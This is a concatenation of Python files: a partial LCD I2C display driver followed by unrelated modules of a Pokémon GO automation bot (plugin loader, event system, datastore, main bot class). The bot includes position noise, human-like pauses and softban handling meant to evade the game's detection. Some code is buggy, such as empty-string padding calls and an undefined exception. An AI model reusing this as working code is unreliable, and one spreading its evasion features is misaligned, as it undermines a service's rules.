LCD_ENTRYSHIFTDECREMENT = 0x00

# flags for display on/off control
LCD_DISPLAYON = 0x04
LCD_DISPLAYOFF = 0x00
LCD_CURSORON = 0x02
LCD_CURSOROFF = 0x00
LCD_BLINKON = 0x01
LCD_BLINKOFF = 0x00

# flags for display/cursor shift
LCD_DISPLAYMOVE = 0x08
LCD_CURSORMOVE = 0x00
LCD_MOVERIGHT = 0x04
LCD_MOVELEFT = 0x00

# flags for function set
LCD_8BITMODE = 0x10
LCD_4BITMODE = 0x00
LCD_2LINE = 0x08
LCD_1LINE = 0x00
LCD_5x10DOTS = 0x04
LCD_5x8DOTS = 0x00

# flags for backlight control
LCD_BACKLIGHT = 0x08
LCD_NOBACKLIGHT = 0x00

En = 0b00000100  # Enable bit
Rw = 0b00000010  # Read/Write bit
Rs = 0b00000001  # Register select bit


class lcd:
    # initializes objects and lcd
    # def __init__(self, adress):

    def set_addr(self, adress):
        self.lcd_device = i2c_device(adress)

        self.lcd_write(0x03)
        self.lcd_write(0x03)
        self.lcd_write(0x03)
        self.lcd_write(0x02)

        self.lcd_write(LCD_FUNCTIONSET | LCD_2LINE | LCD_5x8DOTS |
                       LCD_4BITMODE)
        self.displaycontrol = LCD_DISPLAYON | LCD_CURSOROFF | LCD_BLINKOFF
        self.lcd_write(LCD_DISPLAYCONTROL | LCD_DISPLAYON | LCD_BLINKOFF)
        self.lcd_write(LCD_CLEARDISPLAY)
        self.lcd_write(LCD_ENTRYMODESET | LCD_ENTRYLEFT)

    def show_cursor(self, show):
        """Show or hide the cursor.  Cursor is shown if show is True."""
        if show:
            self.displaycontrol |= LCD_CURSORON
        else:
            self.displaycontrol &= ~LCD_CURSORON
        self.lcd_write(LCD_DISPLAYCONTROL | self.displaycontrol)

    def blink(self, blink):
        """Turn on or off cursor blinking.  Set blink to True to enable blinking."""
        if blink:
            self.displaycontrol |= LCD_BLINKON
        else:
            self.displaycontrol &= ~LCD_BLINKON
        self.lcd_write(LCD_DISPLAYCONTROL | self.displaycontrol)

    # clocks EN to latch command
    def lcd_strobe(self, data):
        self.lcd_device.write_cmd(data | En | LCD_BACKLIGHT)
        sleep(.0005)
        self.lcd_device.write_cmd(((data & ~En) | LCD_BACKLIGHT))
        sleep(.0001)

    def lcd_write_four_bits(self, data):
        self.lcd_device.write_cmd(data | LCD_BACKLIGHT)
        self.lcd_strobe(data)

    # write a command to lcd
    def lcd_write(self, cmd, mode=0):
        self.lcd_write_four_bits(mode | (cmd & 0xF0))
        self.lcd_write_four_bits(mode | ((cmd << 4) & 0xF0))

    # write a character to lcd (or character rom) 0x09: backlight | RS=DR<
    # works!
    def lcd_write_char(self, charvalue, mode=1):
        self.lcd_write_four_bits(mode | (charvalue & 0xF0))
        self.lcd_write_four_bits(mode | ((charvalue << 4) & 0xF0))

    def message(self, message, style=1, speed=1):
        """Send a message to the display, use \n for new line"""
        # style=1 Left justified
        # style=2 Centred
        # style=3 Right justified
        # style=4 typing

        self.clear()
        words = iter(message.split())
        lines, current = [], next(words)
        for word in words:
            if len(current) + 1 + len(word) > LCD_WIDTH:
                lines.append(current)
                current = word
            else:
                current += " " + word
        lines.append(current)

        for (idx, line) in enumerate(lines):
            if idx == 0:
                self.lcd_write(0x80)
            if idx == 1:
                self.lcd_write(0xC0)
            if idx == 2:
                self.lcd_write(0x94)
            if idx == 3:
                self.lcd_write(0xD4)

            for char in line:
                self.lcd_write(ord(char), Rs)

    def type_string(self, message, line, speed=0.3, style=1, blink=True):
        """Type like a type machine"""
        # style=1 Left justified
        # style=2 Centred
        # style=3 Right justified

        if line == 1:
            self.lcd_write(0x80)
        if line == 2:
            self.lcd_write(0xC0)
        if line == 3:
            self.lcd_write(0x94)
        if line == 4:
            self.lcd_write(0xD4)
        if style == 0x01:
            message = message.ljust(LCD_WIDTH, '')
        elif style == 0x02:
            message = message.center(LCD_WIDTH, '')
        elif style == 3:
            message = message.rjust(LCD_WIDTH, '')

        for i in range(len(message)):
            self.lcd_write(ord(message[i]), Rs)
            sleep(speed)

    def split_every(self, n, iterable):
        i = iter(iterable)
        piece = list(islice(i, n))
        while piece:
            yield piece
            piece = list(islice(i, n))

    def filler(self, str1, str2):
        len1 = len(str1)
        len2 = len(str2)
        left = LCD_WIDTH - len1 - len2
        fill = ' ' * left
        return str1 + fill + str2

    # put string function
    def write_line(self, string, line, style=1):
        if line == 1:
            self.lcd_write(0x80)
        if line == 2:
            self.lcd_write(0xC0)
        if line == 3:
            self.lcd_write(0x94)
        if line == 4:
            self.lcd_write(0xD4)

        if style == 0x01:
            string = string.ljust(LCD_WIDTH, ' ')
        elif style == 0x02:
            string = string.center(LCD_WIDTH, ' ')
        elif style == 3:
            string = string.rjust(LCD_WIDTH, ' ')

        for char in string:
            self.lcd_write(ord(char), Rs)

    # clear lcd and set to home
    def clear(self):
        self.lcd_clear()

    def lcd_clear(self):
        self.lcd_write(LCD_CLEARDISPLAY)
        self.lcd_write(LCD_RETURNHOME)

    # define backlight on/off (lcd.backlight(1); off= lcd.backlight(0)
    def backlight(self, state):  # for state, 1 = on, 0 = off
        if state == 1:
            self.lcd_device.write_cmd(LCD_BACKLIGHT)
        elif state == 0:
            self.lcd_device.write_cmd(LCD_NOBACKLIGHT)

    # add custom characters (0 - 7)
    def createChar(self, charPos, charDef):
        self.lcd_write(LCD_CHARS[charPos], 0)
        for line in charDef:
            self.lcd_write(line, 1)

    def lcd_display_string_pos(self, string, line, pos):
        if line == 1:
            pos_new = pos
        elif line == 2:
            pos_new = 0x40 + pos
        elif line == 3:
            pos_new = 0x14 + pos
        elif line == 4:
            pos_new = 0x54 + pos

        self.lcd_write(0x80 + pos_new)

        for char in string:
            self.lcd_write(ord(char), Rs)






import cell_workers
from pokemongo_bot.plugin_loader import PluginLoader
from pokemongo_bot.base_task import BaseTask

class ConfigException(Exception):
    pass

class MismatchTaskApiVersion(Exception):
    pass

class TreeConfigBuilder(object):
    def __init__(self, bot, tasks_raw):
        self.bot = bot
        self.tasks_raw = tasks_raw
        self.plugin_loader = PluginLoader()

    def _get_worker_by_name(self, name):
        try:
            worker = getattr(cell_workers, name)
        except AttributeError:
            raise ConfigException('No worker named {} defined'.format(name))

        return worker

    def _is_plugin_task(self, name):
        return '.' in name

    def build(self):
        workers = []
        deprecated_pokemon_task = False

        for task in self.tasks_raw:
            task_type = task.get('type', None)
            if task_type is None:
                raise ConfigException('No type found for given task {}'.format(task))
            elif task_type == 'EvolveAll':
                raise ConfigException('The EvolveAll task has been renamed to EvolvePokemon')

            task_config = task.get('config', {})

            if task_type in ['CatchVisiblePokemon', 'CatchLuredPokemon']:
                if deprecated_pokemon_task:
                    continue
                else:
                    deprecated_pokemon_task = True
                    task_type = 'CatchPokemon'
                    task_config = {}
                    self.bot.logger.warning('The CatchVisiblePokemon & CatchLuredPokemon tasks have been replaced with '
                                            'CatchPokemon.  CatchPokemon has been enabled with default settings.')

            if self._is_plugin_task(task_type):
                worker = self.plugin_loader.get_class(task_type)
            else:
                worker = self._get_worker_by_name(task_type)

            error_string = ''
            if BaseTask.TASK_API_VERSION < worker.SUPPORTED_TASK_API_VERSION:
                error_string = 'Do you need to update the bot?'

            elif BaseTask.TASK_API_VERSION > worker.SUPPORTED_TASK_API_VERSION:
                error_string = 'Is there a new version of this task?'

            if error_string != '':
                raise MismatchTaskApiVersion(
                    'Task {} only works with task api version {}, you are currently running version {}. {}'
                    .format(
                        task_type,
                        worker.SUPPORTED_TASK_API_VERSION,
                        BaseTask.TASK_API_VERSION,
                        error_string
                    )
                )

            instance = worker(self.bot, task_config)
            if instance.enabled:
                workers.append(instance)

        return workers






import os
import sys
import importlib
import re
import requests
import zipfile
import shutil

class PluginLoader(object):
  folder_cache = []

  def _get_correct_path(self, path):
    extension = os.path.splitext(path)[1]

    if extension == '.zip':
      correct_path = path
    else:
      correct_path = os.path.dirname(path)

    return correct_path

  def load_plugin(self, plugin):
    github_plugin = GithubPlugin(plugin)
    if github_plugin.is_valid_plugin():
      if not github_plugin.is_already_installed():
        github_plugin.install()

      correct_path = github_plugin.get_plugin_folder()

    else:
      correct_path = self._get_correct_path(plugin)

    if correct_path not in self.folder_cache:
      self.folder_cache.append(correct_path)
      sys.path.append(correct_path)

  def remove_path(self, path):
    correct_path = self._get_correct_path(path)
    sys.path.remove(correct_path)
    self.folder_cache.remove(correct_path)

  def get_class(self, namespace_class):
    [namespace, class_name] = namespace_class.split('.')
    my_module = importlib.import_module(namespace)
    return getattr(my_module, class_name)

class GithubPlugin(object):
  PLUGINS_FOLDER = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'plugins')

  def __init__(self, plugin_name):
    self.plugin_name = plugin_name
    self.plugin_parts = self.get_github_parts()

  def is_valid_plugin(self):
    return self.plugin_parts is not None

  def get_github_parts(self):
    groups = re.match('(.*)\/(.*)#(.*)', self.plugin_name)

    if groups is None:
      return None

    parts = {}
    parts['user'] = groups.group(1)
    parts['repo'] = groups.group(2)
    parts['sha'] = groups.group(3)

    return parts

  def get_installed_version(self):
    if not self.is_already_installed():
      return None

    filename = os.path.join(self.get_plugin_folder(), '.sha')
    print filename
    with open(filename) as file:
        return file.read().strip()

  def get_local_destination(self):
    parts = self.plugin_parts
    if parts is None:
      raise Exception('Not a valid github plugin')

    file_name = '{}_{}_{}.zip'.format(parts['user'], parts['repo'], parts['sha'])
    full_path = os.path.join(self.PLUGINS_FOLDER, file_name)
    return full_path

  def is_already_installed(self):
    file_path = self.get_plugin_folder()
    if not os.path.isdir(file_path):
      return False

    sha_file = os.path.join(file_path, '.sha')

    if not os.path.isfile(sha_file):
      return False

    with open(sha_file) as file:
      content = file.read().strip()

      if content != self.plugin_parts['sha']:
        return False

    return True

  def get_plugin_folder(self):
    folder_name = '{}_{}'.format(self.plugin_parts['user'], self.plugin_parts['repo'])
    return os.path.join(self.PLUGINS_FOLDER, folder_name)

  def get_github_download_url(self):
    parts = self.plugin_parts
    if parts is None:
      raise Exception('Not a valid github plugin')

    github_url = 'https://github.com/{}/{}/archive/{}.zip'.format(parts['user'], parts['repo'], parts['sha'])
    return github_url

  def install(self):
    self.download()
    self.extract()

  def extract(self):
    dest = self.get_plugin_folder()
    with zipfile.ZipFile(self.get_local_destination(), "r") as z:
      z.extractall(dest)

    github_folder = os.path.join(dest, '{}-{}'.format(self.plugin_parts['repo'], self.plugin_parts['sha']))
    new_folder = os.path.join(dest, '{}'.format(self.plugin_parts['repo']))
    shutil.move(github_folder, new_folder)

    with open(os.path.join(dest, '.sha'), 'w') as file:
      file.write(self.plugin_parts['sha'])

    os.remove(self.get_local_destination())

  def download(self):
    url = self.get_github_download_url()
    dest = self.get_local_destination()

    r = requests.get(url, stream=True)
    r.raise_for_status()

    with open(dest, 'wb') as f:
      for chunk in r.iter_content(chunk_size=1024):
        if chunk:
          f.write(chunk)
    r.close()
    return dest






# -*- coding: utf-8 -*-
from __future__ import unicode_literals


class EventNotRegisteredException(Exception):
    pass


class EventMalformedException(Exception):
    pass


class EventHandler(object):

    def __init__(self):
        pass

    def handle_event(self, event, kwargs):
        raise NotImplementedError("Please implement")


class EventManager(object):

    def __init__(self, *handlers):
        self._registered_events = dict()
        self._handlers = list(handlers) or []

    def event_report(self):
        for event, parameters in self._registered_events.iteritems():
            print '-'*80
            print 'Event: {}'.format(event)
            if parameters:
                print 'Parameters:'
                for parameter in parameters:
                    print '* {}'.format(parameter)

    def add_handler(self, event_handler):
        self._handlers.append(event_handler)

    def register_event(self, name, parameters=[]):
        self._registered_events[name] = parameters

    def emit(self, event, sender=None, level='info', formatted='', data={}):
        if not sender:
            raise ArgumentError('Event needs a sender!')

        levels = ['info', 'warning', 'error', 'critical', 'debug']
        if not level in levels:
            raise ArgumentError('Event level needs to be in: {}'.format(levels))

        if event not in self._registered_events:
            raise EventNotRegisteredException("Event %s not registered..." % event)

        # verify params match event
        parameters = self._registered_events[event]
        if parameters:
            for k, v in data.iteritems():
                if k not in parameters:
                    raise EventMalformedException("Event %s does not require parameter %s" % (event, k))

        formatted_msg = formatted.format(**data)

        # send off to the handlers
        for handler in self._handlers:
            handler.handle_event(event, sender, level, formatted_msg, data)






"""
Use the built-in sqlite3 library as a datastore,

To handle database migrations, use the `yoyo-migrations` package.
For further details on this, see:
https://pypi.python.org/pypi/yoyo-migrations
"""

import inspect
import os
import sys
import warnings

try:
    from yoyo import read_migrations, get_backend
except ImportError:
    warnings.warn('Please run `pip install -r requirements.txt` to ensure you have the latest required packages')
    sys.exit(-1)


_DEFAULT = object()

BACKEND = _DEFAULT
DATABASE = _DEFAULT

def _init_database(connection_string=':memory:', driver='sqlite'):
    global BACKEND, DATABASE

    if DATABASE is _DEFAULT:
        BACKEND = get_backend('{driver}://{conn}'.format(driver=driver, conn=connection_string))
        DATABASE = BACKEND.connection

    return DATABASE

class Datastore(object):
    MIGRATIONS_PATH = _DEFAULT

    def __init__(self, *args, **kwargs):
        """
        When a subclass is initiated, the migrations should automatically be run.
        """
        if _DEFAULT in (BACKEND, DATABASE):
            raise RuntimeError('Migration database connection not setup. Need to run `_init_database`')

        # Init parents with additional params we may have received
        super(Datastore, self).__init__(*args, **kwargs)

        path = self.MIGRATIONS_PATH

        if path is _DEFAULT:
            # `migrations` should be a sub directory of the calling package, unless a path is specified
            filename = inspect.stack()[1][1]
            path = os.path.join(os.path.dirname(filename), 'migrations')
        elif not os.path.isdir(str(path)):
            raise RuntimeError('The migrations directory does not exist')

        try:
            migrations = read_migrations(path)
            BACKEND.apply_migrations(BACKEND.to_apply(migrations))
        except (IOError, OSError):
            """
            If `migrations` directory is not present, then whatever is subclassing
            us will not have any DB schemas to load.
            """
            pass






import logging


class BaseTask(object):
  TASK_API_VERSION = 1

  def __init__(self, bot, config):
    """

    :param bot:
    :type bot: pokemongo_bot.PokemonGoBot
    :param config:
    :return:
    """
    self.bot = bot
    self.config = config
    self._validate_work_exists()
    self.logger = logging.getLogger(type(self).__name__)
    self.enabled = config.get('enabled', True)
    self.initialize()

  def _validate_work_exists(self):
    method = getattr(self, 'work', None)
    if not method or not callable(method):
      raise NotImplementedError('Missing "work" method')

  def emit_event(self, event, sender=None, level='info', formatted='', data={}):
    if not sender:
      sender=self
    self.bot.event_manager.emit(
      event,
      sender=sender,
      level=level,
      formatted=formatted,
      data=data
    )

  def initialize(self):
    pass






class Constants(object):
  MAX_DISTANCE_FORT_IS_REACHABLE = 40 # meters
  MAX_DISTANCE_POKEMON_IS_REACHABLE = 60






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import datetime
import json
import logging
import os
import random
import re
import sys
import time
import Queue
import threading

from geopy.geocoders import GoogleV3
from pgoapi import PGoApi
from pgoapi.utilities import f2i, get_cell_ids

import cell_workers
from base_task import BaseTask
from plugin_loader import PluginLoader
from api_wrapper import ApiWrapper
from cell_workers.utils import distance
from event_manager import EventManager
from human_behaviour import sleep
from item_list import Item
from metrics import Metrics
from pokemongo_bot.event_handlers import LoggingHandler, SocketIoHandler, ColoredLoggingHandler
from pokemongo_bot.socketio_server.runner import SocketIoRunner
from pokemongo_bot.websocket_remote_control import WebsocketRemoteControl
from pokemongo_bot.base_dir import _base_dir
from pokemongo_bot.datastore import _init_database, Datastore
from worker_result import WorkerResult
from tree_config_builder import ConfigException, MismatchTaskApiVersion, TreeConfigBuilder
from inventory import init_inventory
from sys import platform as _platform
import struct


class PokemonGoBot(Datastore):
    @property
    def position(self):
        return self.api.actual_lat, self.api.actual_lng, self.api.actual_alt

    @property
    def noised_position(self):
        return self.api.noised_lat, self.api.noised_lng, self.api.noised_alt

    #@position.setter # these should be called through api now that gps replication is there...
    #def position(self, position_tuple):
    #    self.api._position_lat, self.api._position_lng, self.api._position_alt = position_tuple

    @property
    def player_data(self):
        """
        Returns the player data as received from the API.
        :return: The player data.
        :rtype: dict
        """
        return self._player

    def __init__(self, config):

        # Database connection MUST be setup before migrations will work
        self.database = _init_database('/data/{}.db'.format(config.username))

        self.config = config
        super(PokemonGoBot, self).__init__()

        self.fort_timeouts = dict()
        self.pokemon_list = json.load(
            open(os.path.join(_base_dir, 'data', 'pokemon.json'))
        )
        self.item_list = json.load(open(os.path.join(_base_dir, 'data', 'items.json')))
        self.metrics = Metrics(self)
        self.latest_inventory = None
        self.cell = None
        self.recent_forts = [None] * config.forts_max_circle_size
        self.tick_count = 0
        self.softban = False
        self.start_position = None
        self.last_map_object = None
        self.last_time_map_object = 0
        self.logger = logging.getLogger(type(self).__name__)
        self.alt = self.config.gps_default_altitude

        # Make our own copy of the workers for this instance
        self.workers = []

        # Theading setup for file writing
        self.web_update_queue = Queue.Queue(maxsize=1)
        self.web_update_thread = threading.Thread(target=self.update_web_location_worker)
        self.web_update_thread.start()

        # Heartbeat limiting
        self.heartbeat_threshold = self.config.heartbeat_threshold
        self.heartbeat_counter = 0
        self.last_heartbeat = time.time()


    def start(self):
        self._setup_event_system()
        self._setup_logging()
        self._setup_api()
        self._load_recent_forts()
        init_inventory(self)
        self.display_player_info()
        self._print_character_info()
        if self.config.pokemon_bag_show_at_start and self.config.pokemon_bag_pokemon_info:
            self._print_list_pokemon()

        random.seed()

    def _setup_event_system(self):
        handlers = []
        if self.config.logging_color:
            handlers.append(ColoredLoggingHandler())
        else:
            handlers.append(LoggingHandler())

        if self.config.websocket_server_url:
            if self.config.websocket_start_embedded_server:
                self.sio_runner = SocketIoRunner(self.config.websocket_server_url)
                self.sio_runner.start_listening_async()

            websocket_handler = SocketIoHandler(
                self,
                self.config.websocket_server_url
            )
            handlers.append(websocket_handler)

            if self.config.websocket_remote_control:
                remote_control = WebsocketRemoteControl(self).start()

        self.event_manager = EventManager(*handlers)
        self._register_events()
        if self.config.show_events:
            self.event_manager.event_report()
            sys.exit(1)

            # Registering event:
            # self.event_manager.register_event("location", parameters=['lat', 'lng'])
            #
            # Emitting event should be enough to add logging and send websocket
            # message: :
            # self.event_manager.emit('location', 'level'='info', data={'lat': 1, 'lng':1}),

    def _register_events(self):
        self.event_manager.register_event(
            'location_found',
            parameters=('position', 'location')
        )
        self.event_manager.register_event('api_error')
        self.event_manager.register_event('config_error')

        self.event_manager.register_event('login_started')
        self.event_manager.register_event('login_failed')
        self.event_manager.register_event('login_successful')

        self.event_manager.register_event('set_start_location')
        self.event_manager.register_event('load_cached_location')
        self.event_manager.register_event('location_cache_ignored')
        self.event_manager.register_event(
            'position_update',
            parameters=(
                'current_position',
                'last_position',
                'distance', # optional
                'distance_unit' # optional
            )
        )
        self.event_manager.register_event(
            'path_lap_update',
            parameters=(
                'number_lap',
                'number_lap_max'
            )
        )
        self.event_manager.register_event(
            'path_lap_end',
            parameters=(
                'duration',
                'resume'
            )
        )  
        
        
        self.event_manager.register_event('location_cache_error')

        self.event_manager.register_event('bot_start')
        self.event_manager.register_event('bot_exit')
        self.event_manager.register_event('bot_interrupted')

        # sleep stuff
        self.event_manager.register_event(
            'next_sleep',
            parameters=('time',)
        )
        self.event_manager.register_event(
            'bot_sleep',
            parameters=(
                'time_hms',
                'wake'
            )
        )

        # random pause
        self.event_manager.register_event(
            'next_random_pause',
            parameters=(
                'time',
                'duration'
            )
        )
        self.event_manager.register_event(
            'bot_random_pause',
            parameters=(
                'time_hms',
                'resume'
            )
        )

        # fort stuff
        self.event_manager.register_event(
            'spun_fort',
            parameters=(
                'fort_id',
                'latitude',
                'longitude'
            )
        )
        self.event_manager.register_event(
            'lured_pokemon_found',
            parameters=(
                'fort_id',
                'fort_name',
                'encounter_id',
                'latitude',
                'longitude'
            )
        )
        self.event_manager.register_event(
            'moving_to_fort',
            parameters=(
                'fort_name',
                'distance'
            )
        )
        self.event_manager.register_event(
            'moving_to_lured_fort',
            parameters=(
                'fort_name',
                'distance',
                'lure_distance'
            )
        )
        self.event_manager.register_event(
            'spun_pokestop',
            parameters=(
                'pokestop', 'exp', 'items'
            )
        )
        self.event_manager.register_event(
            'pokestop_empty',
            parameters=('pokestop',)
        )
        self.event_manager.register_event(
            'pokestop_out_of_range',
            parameters=('pokestop',)
        )
        self.event_manager.register_event(
            'pokestop_on_cooldown',
            parameters=('pokestop', 'minutes_left')
        )
        self.event_manager.register_event(
            'unknown_spin_result',
            parameters=('status_code',)
        )
        self.event_manager.register_event('pokestop_searching_too_often')
        self.event_manager.register_event('arrived_at_fort')

        # pokemon stuff
        self.event_manager.register_event(
            'catchable_pokemon',
            parameters=(
                'pokemon_id',
                'spawn_point_id',
                'encounter_id',
                'latitude',
                'longitude',
                'expiration_timestamp_ms'
            )
        )
        self.event_manager.register_event(
            'pokemon_appeared',
            parameters=(
                'pokemon',
                'ncp',
                'cp',
                'iv',
                'iv_display',
                'encounter_id',
                'latitude',
                'longitude',
                'pokemon_id'
            )
        )
        self.event_manager.register_event('no_pokeballs')
        self.event_manager.register_event(
            'pokemon_catch_rate',
            parameters=(
                'catch_rate',
                'ball_name',
                'berry_name',
                'berry_count'
            )
        )
        self.event_manager.register_event(
            'threw_berry',
            parameters=(
                'berry_name',
                'ball_name',
                'new_catch_rate'
            )
        )
        self.event_manager.register_event(
            'threw_pokeball',
            parameters=(
                'throw_type',
                'spin_label',
                'ball_name',
                'success_percentage',
                'count_left'
            )
        )
        self.event_manager.register_event(
            'pokemon_capture_failed',
            parameters=('pokemon',)
        )
        self.event_manager.register_event(
            'pokemon_vanished',
            parameters=(
                'pokemon',
                'encounter_id',
                'latitude',
                'longitude',
                'pokemon_id'
            )
        )
        self.event_manager.register_event('pokemon_not_in_range')
        self.event_manager.register_event('pokemon_inventory_full')
        self.event_manager.register_event(
            'pokemon_caught',
            parameters=(
                'pokemon',
                'ncp', 'cp', 'iv', 'iv_display', 'exp',
                'encounter_id',
                'latitude',
                'longitude',
                'pokemon_id'
            )
        )
        self.event_manager.register_event(
            'pokemon_evolved',
            parameters=('pokemon', 'iv', 'cp', 'xp', 'candy')
        )
        self.event_manager.register_event('skip_evolve')
        self.event_manager.register_event('threw_berry_failed', parameters=('status_code',))
        self.event_manager.register_event('vip_pokemon')
        self.event_manager.register_event('gained_candy', parameters=('quantity', 'type'))
        self.event_manager.register_event('catch_limit')

        # level up stuff
        self.event_manager.register_event(
            'level_up',
            parameters=(
                'previous_level',
                'current_level'
            )
        )
        self.event_manager.register_event(
            'level_up_reward',
            parameters=('items',)
        )

        # lucky egg
        self.event_manager.register_event(
            'used_lucky_egg',
            parameters=('amount_left',)
        )
        self.event_manager.register_event('lucky_egg_error')

        # softban
        self.event_manager.register_event('softban')
        self.event_manager.register_event('softban_fix')
        self.event_manager.register_event('softban_fix_done')

        # egg incubating
        self.event_manager.register_event(
            'incubate_try',
            parameters=(
                'incubator_id',
                'egg_id'
            )
        )
        self.event_manager.register_event(
            'incubate',
            parameters=('distance_in_km',)
        )
        self.event_manager.register_event(
            'next_egg_incubates',
            parameters=('eggs_left', 'eggs_inc', 'eggs')
        )
        self.event_manager.register_event('incubator_already_used')
        self.event_manager.register_event('egg_already_incubating')
        self.event_manager.register_event(
            'egg_hatched',
            parameters=(
                'pokemon',
                'cp', 'iv', 'exp', 'stardust', 'candy'
            )
        )

        # discard item
        self.event_manager.register_event(
            'item_discarded',
            parameters=(
                'amount', 'item', 'maximum'
            )
        )
        self.event_manager.register_event(
            'item_discard_skipped',
            parameters=('space',)
        )
        self.event_manager.register_event(
            'item_discard_fail',
            parameters=('item',)
        )

        # inventory
        self.event_manager.register_event('inventory_full')

        # release
        self.event_manager.register_event(
            'keep_best_release',
            parameters=(
                'amount', 'pokemon', 'criteria'
            )
        )
        self.event_manager.register_event(
            'future_pokemon_release',
            parameters=(
                'pokemon', 'cp', 'iv', 'below_iv', 'below_cp', 'cp_iv_logic'
            )
        )
        self.event_manager.register_event(
            'pokemon_release',
            parameters=('pokemon', 'iv', 'cp', 'candy')
        )

        # polyline walker
        self.event_manager.register_event(
            'polyline_request',
            parameters=('url',)
        )

        # cluster
        self.event_manager.register_event(
            'found_cluster',
            parameters=(
                'num_points', 'forts', 'radius', 'distance'
            )
        )
        self.event_manager.register_event(
            'arrived_at_cluster',
            parameters=(
                'num_points', 'forts', 'radius'
            )
        )

        # rename
        self.event_manager.register_event(
            'rename_pokemon',
            parameters=('old_name', 'current_name',)
        )
        self.event_manager.register_event(
            'pokemon_nickname_invalid',
            parameters=('nickname',)
        )
        self.event_manager.register_event(
            'unset_pokemon_nickname',
            parameters=('old_name',)
        )

        # Move To map pokemon
        self.event_manager.register_event(
            'move_to_map_pokemon_fail',
            parameters=('message',)
        )
        self.event_manager.register_event(
            'move_to_map_pokemon_updated_map',
            parameters=('lat', 'lon')
        )
        self.event_manager.register_event(
            'move_to_map_pokemon_teleport_to',
            parameters=('poke_name', 'poke_dist', 'poke_lat', 'poke_lon',
                        'disappears_in')
        )
        self.event_manager.register_event(
            'move_to_map_pokemon_encounter',
            parameters=('poke_name', 'poke_dist', 'poke_lat', 'poke_lon',
                        'disappears_in')
        )
        self.event_manager.register_event(
            'move_to_map_pokemon_move_towards',
            parameters=('poke_name', 'poke_dist', 'poke_lat', 'poke_lon',
                        'disappears_in')
        )
        self.event_manager.register_event(
            'move_to_map_pokemon_teleport_back',
            parameters=('last_lat', 'last_lon')
        )
        self.event_manager.register_event(
            'moving_to_pokemon_throught_fort',
            parameters=('fort_name', 'distance','poke_name','poke_dist')
        )

        # cached recent_forts
        self.event_manager.register_event('loaded_cached_forts')
        self.event_manager.register_event('cached_fort')
        self.event_manager.register_event(
            'no_cached_forts',
            parameters=('path', )
        )
        self.event_manager.register_event(
            'error_caching_forts',
            parameters=('path', )
        )
        # database shit
        self.event_manager.register_event('catch_log')
        self.event_manager.register_event('evolve_log')
        self.event_manager.register_event('login_log')
        self.event_manager.register_event('transfer_log')
        self.event_manager.register_event('pokestop_log')
        self.event_manager.register_event('softban_log')

    def tick(self):
        self.health_record.heartbeat()
        self.cell = self.get_meta_cell()

        now = time.time() * 1000

        for fort in self.cell["forts"]:
            timeout = fort.get("cooldown_complete_timestamp_ms", 0)

            if timeout >= now:
                self.fort_timeouts[fort["id"]] = timeout

        self.tick_count += 1

        # Check if session token has expired
        self.check_session(self.position)

        for worker in self.workers:
            if worker.work() == WorkerResult.RUNNING:
                return

    def get_meta_cell(self):
        location = self.position[0:2]
        cells = self.find_close_cells(*location)

        # Combine all cells into a single dict of the items we care about.
        forts = []
        wild_pokemons = []
        catchable_pokemons = []
        for cell in cells:
            if "forts" in cell and len(cell["forts"]):
                forts += cell["forts"]
            if "wild_pokemons" in cell and len(cell["wild_pokemons"]):
                wild_pokemons += cell["wild_pokemons"]
            if "catchable_pokemons" in cell and len(cell["catchable_pokemons"]):
                catchable_pokemons += cell["catchable_pokemons"]

        # If there are forts present in the cells sent from the server or we don't yet have any cell data, return all data retrieved
        if len(forts) > 1 or not self.cell:
            return {
                "forts": forts,
                "wild_pokemons": wild_pokemons,
                "catchable_pokemons": catchable_pokemons
            }
        # If there are no forts present in the data from the server, keep our existing fort data and only update the pokemon cells.
        else:
            return {
                "forts": self.cell["forts"],
                "wild_pokemons": wild_pokemons,
                "catchable_pokemons": catchable_pokemons
            }

    def update_web_location(self, cells=[], lat=None, lng=None, alt=None):
        # we can call the function with no arguments and still get the position
        # and map_cells
        if lat is None:
            lat = self.api._position_lat
        if lng is None:
            lng = self.api._position_lng
        if alt is None:
            alt = self.api._position_alt

        if cells == []:
            location = self.position[0:2]
            cells = self.find_close_cells(*location)

        user_data_cells = os.path.join(_base_dir, 'data', 'cells-%s.json' % self.config.username)
        try:
            with open(user_data_cells, 'w') as outfile:
                json.dump(cells, outfile)
        except IOError as e:
            self.logger.info('[x] Error while opening location file: %s' % e)

        user_web_location = os.path.join(
            _base_dir, 'web', 'location-%s.json' % self.config.username
        )
        # alt is unused atm but makes using *location easier
        try:
            with open(user_web_location, 'w') as outfile:
                json.dump({
                    'lat': lat,
                    'lng': lng,
                    'alt': alt,
                    'cells': cells
                }, outfile)
        except IOError as e:
            self.logger.info('[x] Error while opening location file: %s' % e)

        user_data_lastlocation = os.path.join(
            _base_dir, 'data', 'last-location-%s.json' % self.config.username
        )
        try:
            with open(user_data_lastlocation, 'w') as outfile:
                json.dump({'lat': lat, 'lng': lng, 'alt': alt, 'start_position': self.start_position}, outfile)
        except IOError as e:
            self.logger.info('[x] Error while opening location file: %s' % e)

    def find_close_cells(self, lat, lng):
        cellid = get_cell_ids(lat, lng)
        timestamp = [0, ] * len(cellid)
        response_dict = self.get_map_objects(lat, lng, timestamp, cellid)
        map_objects = response_dict.get(
            'responses', {}
        ).get('GET_MAP_OBJECTS', {})
        status = map_objects.get('status', None)

        map_cells = []
        if status and status == 1:
            map_cells = map_objects['map_cells']
            position = (lat, lng, 0)
            map_cells.sort(
                key=lambda x: distance(
                    lat,
                    lng,
                    x['forts'][0]['latitude'],
                    x['forts'][0]['longitude']) if x.get('forts', []) else 1e6
            )
        return map_cells

    def _setup_logging(self):
        # log settings
        # log format

        if self.config.debug:
            log_level = logging.DEBUG
            logging.getLogger("requests").setLevel(logging.DEBUG)
            logging.getLogger("websocket").setLevel(logging.DEBUG)
            logging.getLogger("socketio").setLevel(logging.DEBUG)
            logging.getLogger("engineio").setLevel(logging.DEBUG)
            logging.getLogger("socketIO-client").setLevel(logging.DEBUG)
            logging.getLogger("pgoapi").setLevel(logging.DEBUG)
            logging.getLogger("rpc_api").setLevel(logging.DEBUG)
        else:
            log_level = logging.ERROR
            logging.getLogger("requests").setLevel(logging.ERROR)
            logging.getLogger("websocket").setLevel(logging.ERROR)
            logging.getLogger("socketio").setLevel(logging.ERROR)
            logging.getLogger("engineio").setLevel(logging.ERROR)
            logging.getLogger("socketIO-client").setLevel(logging.ERROR)
            logging.getLogger("pgoapi").setLevel(logging.ERROR)
            logging.getLogger("rpc_api").setLevel(logging.ERROR)

